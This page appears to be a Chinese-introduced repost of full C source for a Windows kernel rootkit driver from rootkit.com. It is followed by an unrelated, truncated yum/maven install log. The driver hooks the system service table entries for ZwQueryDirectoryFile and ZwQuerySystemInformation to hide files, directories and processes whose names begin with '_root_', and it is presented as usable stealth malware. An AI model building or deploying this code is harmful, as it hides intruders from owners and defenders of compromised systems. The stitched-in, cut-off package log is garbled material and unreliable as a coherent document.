BASIC 6a

本文介绍了一个简单的内核级Rootkit实现,该Rootkit能够隐藏文件、目录及进程。通过修改系统调用,如ZwQueryDirectoryFile和ZwQuerySystemInformation,来达到隐藏特定名称开头的文件和进程的目的。

// BASIC ROOTKIT that hides files, directories, and processes
// ----------------------------------------------------------
// v0.1 - Initial, Greg Hoglund (hoglund@rootkit.com)
// v0.2 - DirEntry struct fixed, b00lean (b00lean@rootkit.com)
// v0.3 - Added defines to compile on W2K, and comments.  Rich
// ----------------------------------------------------------
// visit www.rootkit.com for latest rootkit warez
// ----------------------------------------------------------

#include "ntddk.h"
#include "stdarg.h"
#include "stdio.h"
#include "ntiologc.h"

#define DWORD unsigned long
#define WORD unsigned short
#define BOOL unsigned long

// Length of process name (rounded up to next DWORD)
#define PROCNAMELEN     20
// Maximum length of NT process name
#define NT_PROCNAMELEN  16

ULONG gProcessNameOffset;

typedef struct _FILETIME { // ft
    DWORD dwLowDateTime;
    DWORD dwHighDateTime;
} FILETIME;

#pragma pack(1)
typedef struct ServiceDescriptorEntry {
        unsigned int *ServiceTableBase;
        unsigned int *ServiceCounterTableBase; //Used only in checked build
        unsigned int NumberOfServices;
        unsigned char *ParamTableBase;
} ServiceDescriptorTableEntry_t, *PServiceDescriptorTableEntry_t;
#pragma pack()

__declspec(dllimport)  ServiceDescriptorTableEntry_t KeServiceDescriptorTable;
#define SYSTEMSERVICE(_function)  KeServiceDescriptorTable.ServiceTableBase[ *(PULONG)((PUCHAR)_function+1)]

struct _SYSTEM_THREADS
{
        LARGE_INTEGER           KernelTime;
        LARGE_INTEGER           UserTime;
        LARGE_INTEGER           CreateTime;
        ULONG                           WaitTime;
        PVOID                           StartAddress;
        CLIENT_ID                       ClientIs;
        KPRIORITY                       Priority;
        KPRIORITY                       BasePriority;
        ULONG                           ContextSwitchCount;
        ULONG                           ThreadState;
        KWAIT_REASON            WaitReason;
};

struct _SYSTEM_PROCESSES
{
        ULONG                           NextEntryDelta;
        ULONG                           ThreadCount;
        ULONG                           Reserved[6];
        LARGE_INTEGER           CreateTime;
        LARGE_INTEGER           UserTime;
        LARGE_INTEGER           KernelTime;
        UNICODE_STRING          ProcessName;
        KPRIORITY                       BasePriority;
        ULONG                           ProcessId;
        ULONG                           InheritedFromProcessId;
        ULONG                           HandleCount;
        ULONG                           Reserved2[2];
        VM_COUNTERS                     VmCounters;
        IO_COUNTERS                     IoCounters; //windows 2000 only
        struct _SYSTEM_THREADS          Threads[1];
};

#if 0
typedef enum _WXPFILE_INFORMATION_CLASS {
// end_wdm
    FileDirectoryInformation         = 1,
    FileFullDirectoryInformation,   // 2
    FileBothDirectoryInformation,   // 3
    FileBasicInformation,           // 4  wdm
    FileStandardInformation,        // 5  wdm
    FileInternalInformation,        // 6
    FileEaInformation,              // 7
    FileAccessInformation,          // 8
    FileNameInformation,            // 9
    FileRenameInformation,          // 10
    FileLinkInformation,            // 11
    FileNamesInformation,           // 12
    FileDispositionInformation,     // 13
    FilePositionInformation,        // 14 wdm
    FileFullEaInformation,          // 15
    FileModeInformation,            // 16
    FileAlignmentInformation,       // 17
    FileAllInformation,             // 18
    FileAllocationInformation,      // 19
    FileEndOfFileInformation,       // 20 wdm
    FileAlternateNameInformation,   // 21
    FileStreamInformation,          // 22
    FilePipeInformation,            // 23
    FilePipeLocalInformation,       // 24
    FilePipeRemoteInformation,      // 25
    FileMailslotQueryInformation,   // 26
    FileMailslotSetInformation,     // 27
    FileCompressionInformation,     // 28
    FileObjectIdInformation,        // 29
    FileCompletionInformation,      // 30
    FileMoveClusterInformation,     // 31
    FileQuotaInformation,           // 32
    FileReparsePointInformation,    // 33
    FileNetworkOpenInformation,     // 34
    FileAttributeTagInformation,    // 35
    FileTrackingInformation,        // 36
    FileIdBothDirectoryInformation,     // 37
    FileIdFullDirectoryInformation, // 38
    FileValidDataLengthInformation, // 39
    FileShortNameInformation,       // 40
        FileMaximumInformation
// begin_wdm
} WXPFILE_INFORMATION_CLASS, *PWXPFILE_INFORMATION_CLASS;
#endif
#define FileIdFullDirectoryInformation 38
#define FileIdBothDirectoryInformation 37


typedef struct _FILE_DIRECTORY_INFORMATION {
    ULONG NextEntryOffset;
    ULONG FileIndex;
    LARGE_INTEGER CreationTime;
    LARGE_INTEGER LastAccessTime;
    LARGE_INTEGER LastWriteTime;
    LARGE_INTEGER ChangeTime;
    LARGE_INTEGER EndOfFile;
    LARGE_INTEGER AllocationSize;
    ULONG FileAttributes;
    ULONG FileNameLength;
    WCHAR FileName[1];
} FILE_DIRECTORY_INFORMATION, *PFILE_DIRECTORY_INFORMATION;

typedef struct _FILE_FULL_DIR_INFORMATION {
    ULONG NextEntryOffset;
    ULONG FileIndex;
    LARGE_INTEGER CreationTime;
    LARGE_INTEGER LastAccessTime;
    LARGE_INTEGER LastWriteTime;
    LARGE_INTEGER ChangeTime;
    LARGE_INTEGER EndOfFile;
    LARGE_INTEGER AllocationSize;
    ULONG FileAttributes;
    ULONG FileNameLength;
    ULONG EaSize;
    WCHAR FileName[1];
} FILE_FULL_DIR_INFORMATION, *PFILE_FULL_DIR_INFORMATION;

typedef struct _FILE_ID_FULL_DIR_INFORMATION {
    ULONG NextEntryOffset;
    ULONG FileIndex;
    LARGE_INTEGER CreationTime;
    LARGE_INTEGER LastAccessTime;
    LARGE_INTEGER LastWriteTime;
    LARGE_INTEGER ChangeTime;
    LARGE_INTEGER EndOfFile;
    LARGE_INTEGER AllocationSize;
    ULONG FileAttributes;
    ULONG FileNameLength;
    ULONG EaSize;
    LARGE_INTEGER FileId;
    WCHAR FileName[1];
} FILE_ID_FULL_DIR_INFORMATION, *PFILE_ID_FULL_DIR_INFORMATION;

typedef struct _FILE_BOTH_DIR_INFORMATION {
    ULONG NextEntryOffset;
    ULONG FileIndex;
    LARGE_INTEGER CreationTime;
    LARGE_INTEGER LastAccessTime;
    LARGE_INTEGER LastWriteTime;
    LARGE_INTEGER ChangeTime;
    LARGE_INTEGER EndOfFile;
    LARGE_INTEGER AllocationSize;
    ULONG FileAttributes;
    ULONG FileNameLength;
    ULONG EaSize;
    CCHAR ShortNameLength;
    WCHAR ShortName[12];
    WCHAR FileName[1];
} FILE_BOTH_DIR_INFORMATION, *PFILE_BOTH_DIR_INFORMATION;

typedef struct _FILE_ID_BOTH_DIR_INFORMATION {
    ULONG NextEntryOffset;
    ULONG FileIndex;
    LARGE_INTEGER CreationTime;
    LARGE_INTEGER LastAccessTime;
    LARGE_INTEGER LastWriteTime;
    LARGE_INTEGER ChangeTime;
    LARGE_INTEGER EndOfFile;
    LARGE_INTEGER AllocationSize;
    ULONG FileAttributes;
    ULONG FileNameLength;
    ULONG EaSize;
    CCHAR ShortNameLength;
    WCHAR ShortName[12];
    LARGE_INTEGER FileId;
    WCHAR FileName[1];
} FILE_ID_BOTH_DIR_INFORMATION, *PFILE_ID_BOTH_DIR_INFORMATION;

typedef struct _FILE_NAMES_INFORMATION {
    ULONG NextEntryOffset;
    ULONG FileIndex;
    ULONG FileNameLength;
    WCHAR FileName[1];
} FILE_NAMES_INFORMATION, *PFILE_NAMES_INFORMATION;

NTSYSAPI
NTSTATUS
NTAPI
ZwQueryDirectoryFile(
        IN HANDLE hFile,
        IN HANDLE hEvent OPTIONAL,
        IN PIO_APC_ROUTINE IoApcRoutine OPTIONAL,
        IN PVOID IoApcContext OPTIONAL,
        OUT PIO_STATUS_BLOCK pIoStatusBlock,
        OUT PVOID FileInformationBuffer,
        IN ULONG FileInformationBufferLength,
        IN FILE_INFORMATION_CLASS FileInfoClass,
        IN BOOLEAN bReturnOnlyOneEntry,
        IN PUNICODE_STRING PathMask OPTIONAL,
        IN BOOLEAN bRestartQuery
);

NTSYSAPI
NTSTATUS
NTAPI ZwQuerySystemInformation(
            IN ULONG SystemInformationClass,
                        IN PVOID SystemInformation,
                        IN ULONG SystemInformationLength,
                        OUT PULONG ReturnLength);

typedef NTSTATUS (*ZWQUERYDIRECTORYFILE)(
    HANDLE hFile,
        HANDLE hEvent,
        PIO_APC_ROUTINE IoApcRoutine,
        PVOID IoApcContext,
        PIO_STATUS_BLOCK pIoStatusBlock,
        PVOID FileInformationBuffer,
        ULONG FileInformationBufferLength,
        FILE_INFORMATION_CLASS FileInfoClass,
        BOOLEAN bReturnOnlyOneEntry,
        PUNICODE_STRING PathMask,
        BOOLEAN bRestartQuery
);

typedef NTSTATUS (*ZWQUERYSYSTEMINFORMATION)(
            ULONG SystemInformationCLass,
                        PVOID SystemInformation,
                        ULONG SystemInformationLength,
                        PULONG ReturnLength
);

ZWQUERYSYSTEMINFORMATION        OldZwQuerySystemInformation;
ZWQUERYDIRECTORYFILE            OldZwQueryDirectoryFile;


/* Find the offset of the process name within the executive process
   block.  We do this by searching for the first occurance of "System"
   in the current process when the device driver is loaded. */

void GetProcessNameOffset()
{
  PEPROCESS curproc = PsGetCurrentProcess();
  int i;
  for( i = 0; i < 3*PAGE_SIZE; i++ )
    {
      if( !strncmp( "System", (PCHAR) curproc + i, strlen("System") ))
 {
   gProcessNameOffset = i;
 }
    }
}

/* Copy the process name into the specified buffer.  */

BOOL GetProcessName( PCHAR theName )
{
  PEPROCESS       curproc;
  char            *nameptr;
  ULONG           i;
  KIRQL           oldirql;

  if( gProcessNameOffset )
    {
      curproc = PsGetCurrentProcess();
      nameptr   = (PCHAR) curproc + gProcessNameOffset;
      strncpy( theName, nameptr, NT_PROCNAMELEN );
      theName[NT_PROCNAMELEN] = 0; /* NULL at end */
      return TRUE;
    }
  return FALSE;
}

/* Given a directory entry, return the next
   directory entry in the linked list. */

DWORD getDirEntryLenToNext(
                IN PVOID FileInformationBuffer,
        IN FILE_INFORMATION_CLASS FileInfoClass
)
{
        DWORD result = 0;
        switch(FileInfoClass){
                case FileDirectoryInformation:
                        result = ((PFILE_DIRECTORY_INFORMATION)FileInformationBuffer)->NextEntryOffset;
                        break;
                case FileFullDirectoryInformation:
                        result = ((PFILE_FULL_DIR_INFORMATION)FileInformationBuffer)->NextEntryOffset;
                        break;
                case FileIdFullDirectoryInformation:
                        result = ((PFILE_ID_FULL_DIR_INFORMATION)FileInformationBuffer)->NextEntryOffset;
                        break;
                case FileBothDirectoryInformation:
                        result = ((PFILE_BOTH_DIR_INFORMATION)FileInformationBuffer)->NextEntryOffset;
                        break;
                case FileIdBothDirectoryInformation:
                        result = ((PFILE_ID_BOTH_DIR_INFORMATION)FileInformationBuffer)->NextEntryOffset;
                        break;
                case FileNamesInformation:
                        result = ((PFILE_NAMES_INFORMATION)FileInformationBuffer)->NextEntryOffset;
                        break;
        }
        return result;
}

/* Given two directory entries, link them together in a list. */

void setDirEntryLenToNext(
                IN PVOID FileInformationBuffer,
        IN FILE_INFORMATION_CLASS FileInfoClass,
                IN DWORD value
)
{
        switch(FileInfoClass){
                case FileDirectoryInformation:
                        ((PFILE_DIRECTORY_INFORMATION)FileInformationBuffer)->NextEntryOffset = value;
                        break;
                case FileFullDirectoryInformation:
                        ((PFILE_FULL_DIR_INFORMATION)FileInformationBuffer)->NextEntryOffset = value;
                        break;
                case FileIdFullDirectoryInformation:
                        ((PFILE_ID_FULL_DIR_INFORMATION)FileInformationBuffer)->NextEntryOffset = value;
                        break;
                case FileBothDirectoryInformation:
                        ((PFILE_BOTH_DIR_INFORMATION)FileInformationBuffer)->NextEntryOffset = value;
                        break;
                case FileIdBothDirectoryInformation:
                        ((PFILE_ID_BOTH_DIR_INFORMATION)FileInformationBuffer)->NextEntryOffset = value;
                        break;
                case FileNamesInformation:
                        ((PFILE_NAMES_INFORMATION)FileInformationBuffer)->NextEntryOffset = value;
                        break;
        }
}
       
/* Return the filename of the specified directory entry. */

PVOID getDirEntryFileName(
                IN PVOID FileInformationBuffer,
        IN FILE_INFORMATION_CLASS FileInfoClass
)
{
        PVOID result = 0;
        switch(FileInfoClass){
                case FileDirectoryInformation:
                        result = (PVOID)&((PFILE_DIRECTORY_INFORMATION)FileInformationBuffer)->FileName[0];
                        break;
                case FileFullDirectoryInformation:
                        result =(PVOID)&((PFILE_FULL_DIR_INFORMATION)FileInformationBuffer)->FileName[0];
                        break;
                case FileIdFullDirectoryInformation:
                        result =(PVOID)&((PFILE_ID_FULL_DIR_INFORMATION)FileInformationBuffer)->FileName[0];
                        break;
                case FileBothDirectoryInformation:
                        result =(PVOID)&((PFILE_BOTH_DIR_INFORMATION)FileInformationBuffer)->FileName[0];
                        break;
                case FileIdBothDirectoryInformation:
                        result =(PVOID)&((PFILE_ID_BOTH_DIR_INFORMATION)FileInformationBuffer)->FileName[0];
                        break;
                case FileNamesInformation:
                        result =(PVOID)&((PFILE_NAMES_INFORMATION)FileInformationBuffer)->FileName[0];
                        break;
        }
        return result;
}

/* Return the length of the filename of the specified directory
   entry. */

ULONG getDirEntryFileLength(
                IN PVOID FileInformationBuffer,
        IN FILE_INFORMATION_CLASS FileInfoClass
)
{
        ULONG result = 0;
        switch(FileInfoClass){
                case FileDirectoryInformation:
                        result = (ULONG)((PFILE_DIRECTORY_INFORMATION)FileInformationBuffer)->FileNameLength;
                        break;
                case FileFullDirectoryInformation:
                        result =(ULONG)((PFILE_FULL_DIR_INFORMATION)FileInformationBuffer)->FileNameLength;
                        break;
                case FileIdFullDirectoryInformation:
                        result =(ULONG)((PFILE_ID_FULL_DIR_INFORMATION)FileInformationBuffer)->FileNameLength;
                        break;
                case FileBothDirectoryInformation:
                        result =(ULONG)((PFILE_BOTH_DIR_INFORMATION)FileInformationBuffer)->FileNameLength;
                        break;
                case FileIdBothDirectoryInformation:
                        result =(ULONG)((PFILE_ID_BOTH_DIR_INFORMATION)FileInformationBuffer)->FileNameLength;
                        break;
                case FileNamesInformation:
                        result =(ULONG)((PFILE_NAMES_INFORMATION)FileInformationBuffer)->FileNameLength;
                        break;
        }
        return result;
}

/* NT's ZwQueryDirectoryFile() returns a a linked list of directory
   entries.  The function below imitates it, except it removes from
   the list any entry who's name begins with "_root_". */

NTSTATUS NewZwQueryDirectoryFile(
        IN HANDLE hFile,
        IN HANDLE hEvent OPTIONAL,
        IN PIO_APC_ROUTINE IoApcRoutine OPTIONAL,
        IN PVOID IoApcContext OPTIONAL,
        OUT PIO_STATUS_BLOCK pIoStatusBlock,
        OUT PVOID FileInformationBuffer,
        IN ULONG FileInformationBufferLength,
        IN FILE_INFORMATION_CLASS FileInfoClass,
        IN BOOLEAN bReturnOnlyOneEntry,
        IN PUNICODE_STRING PathMask OPTIONAL,
        IN BOOLEAN bRestartQuery
)
{
        NTSTATUS rc;
        CHAR aProcessName[PROCNAMELEN];
               
        GetProcessName( aProcessName );
        DbgPrint("rootkit: NewZwQueryDirectoryFile() from %s/n", aProcessName);

        rc=((ZWQUERYDIRECTORYFILE)(OldZwQueryDirectoryFile)) (
                        hFile,                                                  /* this is the directory handle */
                        hEvent,
                        IoApcRoutine,
                        IoApcContext,
                        pIoStatusBlock,
                        FileInformationBuffer,
                        FileInformationBufferLength,
                        FileInfoClass,
                        bReturnOnlyOneEntry,
                        PathMask,
                        bRestartQuery);

        if( NT_SUCCESS( rc ) &&
                (FileInfoClass == FileDirectoryInformation ||
                 FileInfoClass == FileFullDirectoryInformation ||
                 FileInfoClass == FileIdFullDirectoryInformation ||
                 FileInfoClass == FileBothDirectoryInformation ||
                 FileInfoClass == FileIdBothDirectoryInformation ||
                 FileInfoClass == FileNamesInformation )
                )
        {
                if(0 == memcmp(aProcessName, "_root_", 6))
                {
                        DbgPrint("rootkit: detected file/directory query from _root_ process/n");
                }
                else
                {
                        PVOID p = FileInformationBuffer;
                        PVOID pLast = NULL;
                        BOOL bLastOne;
                        do
                        {
                                bLastOne = !getDirEntryLenToNext(p,FileInfoClass);
                               
                                // compare directory-name prefix with '_root_' to decide if to hide or not.

                                if (getDirEntryFileLength(p,FileInfoClass) >= 12) {
                                        if( RtlCompareMemory( getDirEntryFileName(p,FileInfoClass), (PVOID)"_/0r/0o/0o/0t/0_/0", 12 ) == 12 )
                                        {
                                                if( bLastOne )
                                                {
                                                        if( p == FileInformationBuffer ) rc = 0x80000006;
                                                        else setDirEntryLenToNext(pLast,FileInfoClass, 0);
                                                        break;
                                                }
                                                else
                                                {
                                                        int iPos = ((ULONG)p) - (ULONG)FileInformationBuffer;
                                                        int iLeft = (DWORD)FileInformationBufferLength - iPos - getDirEntryLenToNext(p,FileInfoClass);
                                                        RtlCopyMemory( p, (PVOID)( (char *)p + getDirEntryLenToNext(p,FileInfoClass) ), (DWORD)iLeft );
                                                        continue;
                                                }
                                        }
                                }
                                pLast = p;
                                p = ((char *)p + getDirEntryLenToNext(p,FileInfoClass) );
                        } while( !bLastOne );
                }
        }
        return(rc);
}

/* NT's ZwQuerySystemInformation() returns a linked list of processes.
   The function below imitates it, except it removes from the list any
   process who's name begins with "_root_". */

NTSTATUS NewZwQuerySystemInformation(
            IN ULONG SystemInformationClass,
                        IN PVOID SystemInformation,
                        IN ULONG SystemInformationLength,
                        OUT PULONG ReturnLength
)
{
        NTSTATUS rc;
        CHAR aProcessName[PROCNAMELEN];
               
        GetProcessName( aProcessName );
        DbgPrint("rootkit: NewZwQuerySystemInformation() from %s/n", aProcessName);

        rc = ((ZWQUERYSYSTEMINFORMATION)(OldZwQuerySystemInformation)) (
                        SystemInformationClass,
                        SystemInformation,
                        SystemInformationLength,
                        ReturnLength );

        if( NT_SUCCESS( rc ) )
        {
                // double check the process name, if it starts w/ '_root_' DO NOT
                // apply any stealth
                if(0 == memcmp(aProcessName, "_root_", 6))
                {
                        DbgPrint("rootkit: detected system query from _root_ process/n");
                }
                else if( 5 == SystemInformationClass )
                {
                        // this is a process list, look for process names that start with
                        // '_root_'
                        struct _SYSTEM_PROCESSES *curr = (struct _SYSTEM_PROCESSES *)SystemInformation;
                        struct _SYSTEM_PROCESSES *prev = NULL;
                        while(curr)
                        {      
                                //struct _SYSTEM_PROCESSES *next = ((char *)curr += curr->NextEntryDelta);
                               
                                ANSI_STRING process_name;
                                RtlUnicodeStringToAnsiString( &process_name, &(curr->ProcessName), TRUE);
                                if( (0 < process_name.Length) && (255 > process_name.Length) )
                                {
                                        if(0 == memcmp( process_name.Buffer, "_root_", 6))
                                        {
                                                //////////////////////////////////////////////
                                                // we have a winner!
                                                //////////////////////////////////////////////
                                                char _output[255];
                                                char _pname[255];
                                                memset(_pname, 0, 255);
                                                memcpy(_pname, process_name.Buffer, process_name.Length);

                                                sprintf(        _output,
                                                                        "rootkit: hiding process, pid: %d/tname: %s/r/n",
                                                                        curr->ProcessId,
                                                                        _pname);
                                                DbgPrint(_output);

                                                if(prev)
                                                {
                                                        if(curr->NextEntryDelta)
                                                        {
                                                                // make prev skip this entry
                                                                prev->NextEntryDelta += curr->NextEntryDelta;
                                                        }
                                                        else
                                                        {
                                                                // we are last, so make prev the end
                                                                prev->NextEntryDelta = 0;
                                                        }
                                                }
                                                else
                                                {
                                                        if(curr->NextEntryDelta)
                                                        {
                                                                // we are first in the list, so move it forward
                                                                (char *)SystemInformation += curr->NextEntryDelta;
                                                        }
                                                        else
                                                        {
                                                                // we are the only process!
                                                                SystemInformation = NULL;
                                                        }
                                                }
                                        }
                                }
                                RtlFreeAnsiString(&process_name);
                                prev = curr;
                                if(curr->NextEntryDelta) ((char *)curr += curr->NextEntryDelta);
                                else curr = NULL;
                        }
                }
        }
        return(rc);
}

/* This device driver doesn't service I/O requests, so we provide only
   a dummy I/O dispatch routine. */

NTSTATUS
OnStubDispatch(
    IN PDEVICE_OBJECT DeviceObject,
    IN PIRP           Irp
    )
{
    Irp->IoStatus.Status      = STATUS_SUCCESS;
    IoCompleteRequest (Irp,
                       IO_NO_INCREMENT
                       );
    return Irp->IoStatus.Status;
}

/* Upon unloading this device driver, restore NT's original directory
   and process query functions. */

VOID OnUnload( IN PDRIVER_OBJECT DriverObject )
{
        DbgPrint("ROOTKIT: OnUnload called/n");

        // unhook system calls
        _asm cli
        (ZWQUERYDIRECTORYFILE)(SYSTEMSERVICE(ZwQueryDirectoryFile))     =OldZwQueryDirectoryFile;
        (ZWQUERYSYSTEMINFORMATION)(SYSTEMSERVICE(ZwQuerySystemInformation)) = OldZwQuerySystemInformation;
        _asm sti
}

/* Upon loading this device driver, 1) establish the offset of process
   names within the process block, 2) register the I/O and unload
   handlers, and 3) substitue the directory and process query
   functions with our stealthy imitations. */

NTSTATUS DriverEntry( IN PDRIVER_OBJECT theDriverObject, IN PUNICODE_STRING theRegistryPath )
{
  int i;

  DbgPrint("My Driver Loaded!");

  GetProcessNameOffset();

  // Register a dispatch function
  for (i = 0; i < IRP_MJ_MAXIMUM_FUNCTION; i++)
    {
      theDriverObject->MajorFunction[i] = OnStubDispatch;
    }

  theDriverObject->DriverUnload  = OnUnload;

  // save old system call locations
  OldZwQueryDirectoryFile=(ZWQUERYDIRECTORYFILE)(SYSTEMSERVICE(ZwQueryDirectoryFile));
  OldZwQuerySystemInformation =(ZWQUERYSYSTEMINFORMATION)(SYSTEMSERVICE(ZwQuerySystemInformation));

  // hook system calls
  _asm cli
    (ZWQUERYDIRECTORYFILE)  (SYSTEMSERVICE(ZwQueryDirectoryFile))=  NewZwQueryDirectoryFile;
  (ZWQUERYSYSTEMINFORMATION) (SYSTEMSERVICE(ZwQuerySystemInformation))= NewZwQuerySystemInformation;
  _asm sti
                               
    return STATUS_SUCCESS;
}
 

[root@yfw openfire-rest-api-plugin]# yum install -y maven Failed to set locale, defaulting to C.UTF-8 Last metadata expiration check: 1:56:36 ago on Thu Oct 2 20:52:00 2025. Dependencies resolved. ========================================================================================================== Package Arch Version Repo Size ========================================================================================================== Installing: maven noarch 1:3.5.4-5.module_el8.0.0+39+6a9b6e22 AppStream 27 k Installing dependencies: aopalliance noarch 1.0-17.module_el8.0.0+39+6a9b6e22 AppStream 17 k apache-commons-cli noarch 1.4-4.module_el8.0.0+39+6a9b6e22 AppStream 74 k apache-commons-codec noarch 1.11-3.module_el8.0.0+39+6a9b6e22 AppStream 288 k apache-commons-io noarch 1:2.6-3.module_el8.0.0+39+6a9b6e22 AppStream 224 k apache-commons-lang3 noarch 3.7-3.module_el8.0.0+39+6a9b6e22 AppStream 483 k apache-commons-logging noarch 1.2-13.module_el8.0.0+39+6a9b6e22 AppStream 85 k atinject noarch 1-28.20100611svn86.module_el8.0.0+39+6a9b6e22 AppStream 20 k cdi-api noarch 1.2-8.module_el8.0.0+39+6a9b6e22 AppStream 70 k geronimo-annotation noarch 1.0-23.module_el8.0.0+39+6a9b6e22 AppStream 25 k glassfish-el-api noarch 3.0.1-0.7.b08.module_el8.0.0+39+6a9b6e22 AppStream 105 k google-guice noarch 4.1-11.module_el8.0.0+39+6a9b6e22 AppStream 471 k guava20 noarch 20.0-8.module_el8.0.0+39+6a9b6e22 AppStream 2.1 M hawtjni-runtime noarch 1.16-2.module_el8.0.0+39+6a9b6e22 AppStream 43 k httpcomponents-client noarch 4.5.5-4.module_el8.0.0+39+6a9b6e22 AppStream 718 k httpcomponents-core noarch 4.4.10-3.module_el8.0.0+39+6a9b6e22 AppStream 638 k jansi noarch 1.17.1-1.module_el8.0.0+82+8ee6c375 AppStream 79 k jansi-native x86_64 1.7-7.module_el8.0.0+39+6a9b6e22 AppStream 75 k java-1.8.0-openjdk-devel x86_64 1:1.8.0.312.b07-2.el8_5 AppStream 9.8 M javapackages-tools noarch 5.3.0-1.module_el8.0.0+11+5b8c10bd AppStream 44 k jboss-interceptors-1.2-api noarch 1.0.0-8.module_el8.0.0+39+6a9b6e22 AppStream 33 k jcl-over-slf4j noarch 1.7.25-4.module_el8.0.0+39+6a9b6e22 AppStream 32 k jsoup noarch 1.11.3-3.module_el8.0.0+39+6a9b6e22 AppStream 386 k maven-lib noarch 1:3.5.4-5.module_el8.0.0+39+6a9b6e22 AppStream 1.4 M maven-resolver-api noarch 1:1.1.1-2.module_el8.0.0+39+6a9b6e22 AppStream 138 k maven-resolver-connector-basic noarch 1:1.1.1-2.module_el8.0.0+39+6a9b6e22 AppStream 51 k maven-resolver-impl noarch 1:1.1.1-2.module_el8.0.0+39+6a9b6e22 AppStream 177 k maven-resolver-spi noarch 1:1.1.1-2.module_el8.0.0+39+6a9b6e22 AppStream 40 k maven-resolver-transport-wagon noarch 1:1.1.1-2.module_el8.0.0+39+6a9b6e22 AppStream 39 k maven-resolver-util noarch 1:1.1.1-2.module_el8.0.0+39+6a9b6e22 AppStream 148 k maven-shared-utils noarch 3.2.1-0.1.module_el8.0.0+39+6a9b6e22 AppStream 165 k maven-wagon-file noarch 3.1.0-1.module_el8.0.0+39+6a9b6e22 AppStream 26 k maven-wagon-http noarch 3.1.0-1.module_el8.0.0+39+6a9b6e22 AppStream 27 k maven-wagon-http-shared noarch 3.1.0-1.module_el8.0.0+39+6a9b6e22 AppStream 49 k maven-wagon-provider-api noarch 3.1.0-1.module_el8.0.0+39+6a9b6e22 AppStream 63 k plexus-cipher noarch 1.7-14.module_el8.0.0+39+6a9b6e22 AppStream 29 k plexus-classworlds noarch 2.5.2-9.module_el8.0.0+39+6a9b6e22 AppStream 65 k plexus-containers-component-annotations noarch 1.7.1-8.module_el8.0.0+39+6a9b6e22 AppStream 24 k plexus-interpolation noarch 1.22-9.module_el8.0.0+39+6a9b6e22 AppStream 79 k plexus-sec-dispatcher noarch 1.4-26.module_el8.0.0+39+6a9b6e22 AppStream 37 k plexus-utils noarch 3.1.0-3.module_el8.0.0+39+6a9b6e22 AppStream 259 k publicsuffix-list noarch 20180723-1.el8 base 79 k sisu-inject noarch 1:0.3.3-6.module_el8.0.0+39+6a9b6e22 AppStream 339 k sisu-plexus noarch 1:0.3.3-6.module_el8.0.0+39+6a9b6e22 AppStream 180 k slf4j noarch 1.7.25-4.module_el8.0.0+39+6a9b6e22 AppStream 77 k Enabling module streams: maven 3.5 scala 2.10 Transaction Summary ========================================================================================================== Install 45 Packages Total download size: 19 M Installed size: 52 M Downloading Packages: (1/45): aopalliance-1.0-17.module_el8.0.0+39+6a9b6e22.noarch.rpm 543 kB/s | 17 kB 00:00 (2/45): publicsuffix-list-20180723-1.el8.noarch.rpm 1.8 MB/s | 79 kB 00:00 (3/45): apache-commons-cli-1.4-4.module_el8.0.0+39+6a9b6e22.noarch.rpm 1.6 MB/s | 74 kB 00:00 (4/45): apache-commons-codec-1.11-3.module_el8.0.0+39+6a9b6e22.noarch.rpm 8.2 MB/s | 288 kB 00:00 (5/45): apache-commons-io-2.6-3.module_el8.0.0+39+6a9b6e22.noarch.rpm 7.1 MB/s | 224 kB 00:00 (6/45): apache-commons-lang3-3.7-3.module_el8.0.0+39+6a9b6e22.noarch.rpm 12 MB/s | 483 kB 00:00 (7/45): apache-commons-logging-1.2-13.module_el8.0.0+39+6a9b6e22.noarch.r 3.3 MB/s | 85 kB 00:00 (8/45): atinject-1-28.20100611svn86.module_el8.0.0+39+6a9b6e22.noarch.rpm 999 kB/s | 20 kB 00:00 (9/45): cdi-api-1.2-8.module_el8.0.0+39+6a9b6e22.noarch.rpm 3.7 MB/s | 70 kB 00:00 (10/45): geronimo-annotation-1.0-23.module_el8.0.0+39+6a9b6e22.noarch.rpm 1.2 MB/s | 25 kB 00:00 (11/45): glassfish-el-api-3.0.1-0.7.b08.module_el8.0.0+39+6a9b6e22.noarch 4.8 MB/s | 105 kB 00:00 (12/45): hawtjni-runtime-1.16-2.module_el8.0.0+39+6a9b6e22.noarch.rpm 1.9 MB/s | 43 kB 00:00 (13/45): google-guice-4.1-11.module_el8.0.0+39+6a9b6e22.noarch.rpm 11 MB/s | 471 kB 00:00 (14/45): httpcomponents-client-4.5.5-4.module_el8.0.0+39+6a9b6e22.noarch. 20 MB/s | 718 kB 00:00 (15/45): httpcomponents-core-4.4.10-3.module_el8.0.0+39+6a9b6e22.noarch.r 14 MB/s | 638 kB 00:00 (16/45): jansi-1.17.1-1.module_el8.0.0+82+8ee6c375.noarch.rpm 3.0 MB/s | 79 kB 00:00 (17/45): guava20-20.0-8.module_el8.0.0+39+6a9b6e22.noarch.rpm 19 MB/s | 2.1 MB 00:00 (18/45): jansi-native-1.7-7.module_el8.0.0+39+6a9b6e22.x86_64.rpm 2.4 MB/s | 75 kB 00:00 (19/45): javapackages-tools-5.3.0-1.module_el8.0.0+11+5b8c10bd.noarch.rpm 3.0 MB/s | 44 kB 00:00 (20/45): jboss-interceptors-1.2-api-1.0.0-8.module_el8.0.0+39+6a9b6e22.no 1.9 MB/s | 33 kB 00:00 (21/45): jcl-over-slf4j-1.7.25-4.module_el8.0.0+39+6a9b6e22.noarch.rpm 2.1 MB/s | 32 kB 00:00 (22/45): maven-3.5.4-5.module_el8.0.0+39+6a9b6e22.noarch.rpm 1.9 MB/s | 27 kB 00:00 (23/45): jsoup-1.11.3-3.module_el8.0.0+39+6a9b6e22.noarch.rpm 10 MB/s | 386 kB 00:00 (24/45): maven-resolver-api-1.1.1-2.module_el8.0.0+39+6a9b6e22.noarch.rpm 4.3 MB/s | 138 kB 00:00 (25/45): maven-lib-3.5.4-5.module_el8.0.0+39+6a9b6e22.noarch.rpm 23 MB/s | 1.4 MB 00:00 (26/45): maven-resolver-connector-basic-1.1.1-2.module_el8.0.0+39+6a9b6e2 2.4 MB/s | 51 kB 00:00 (27/45): maven-resolver-impl-1.1.1-2.module_el8.0.0+39+6a9b6e22.noarch.rp 9.0 MB/s | 177 kB 00:00 (28/45): maven-resolver-spi-1.1.1-2.module_el8.0.0+39+6a9b6e22.noarch.rpm 2.0 MB/s | 40 kB 00:00 (29/45): java-1.8.0-openjdk-devel-1.8.0.312.b07-2.el8_5.x86_64.rpm 50 MB/s | 9.8 MB 00:00 (30/45): maven-resolver-transport-wagon-1.1.1-2.module_el8.0.0+39+6a9b6e2 763 kB/s | 39 kB 00:00 (31/45): 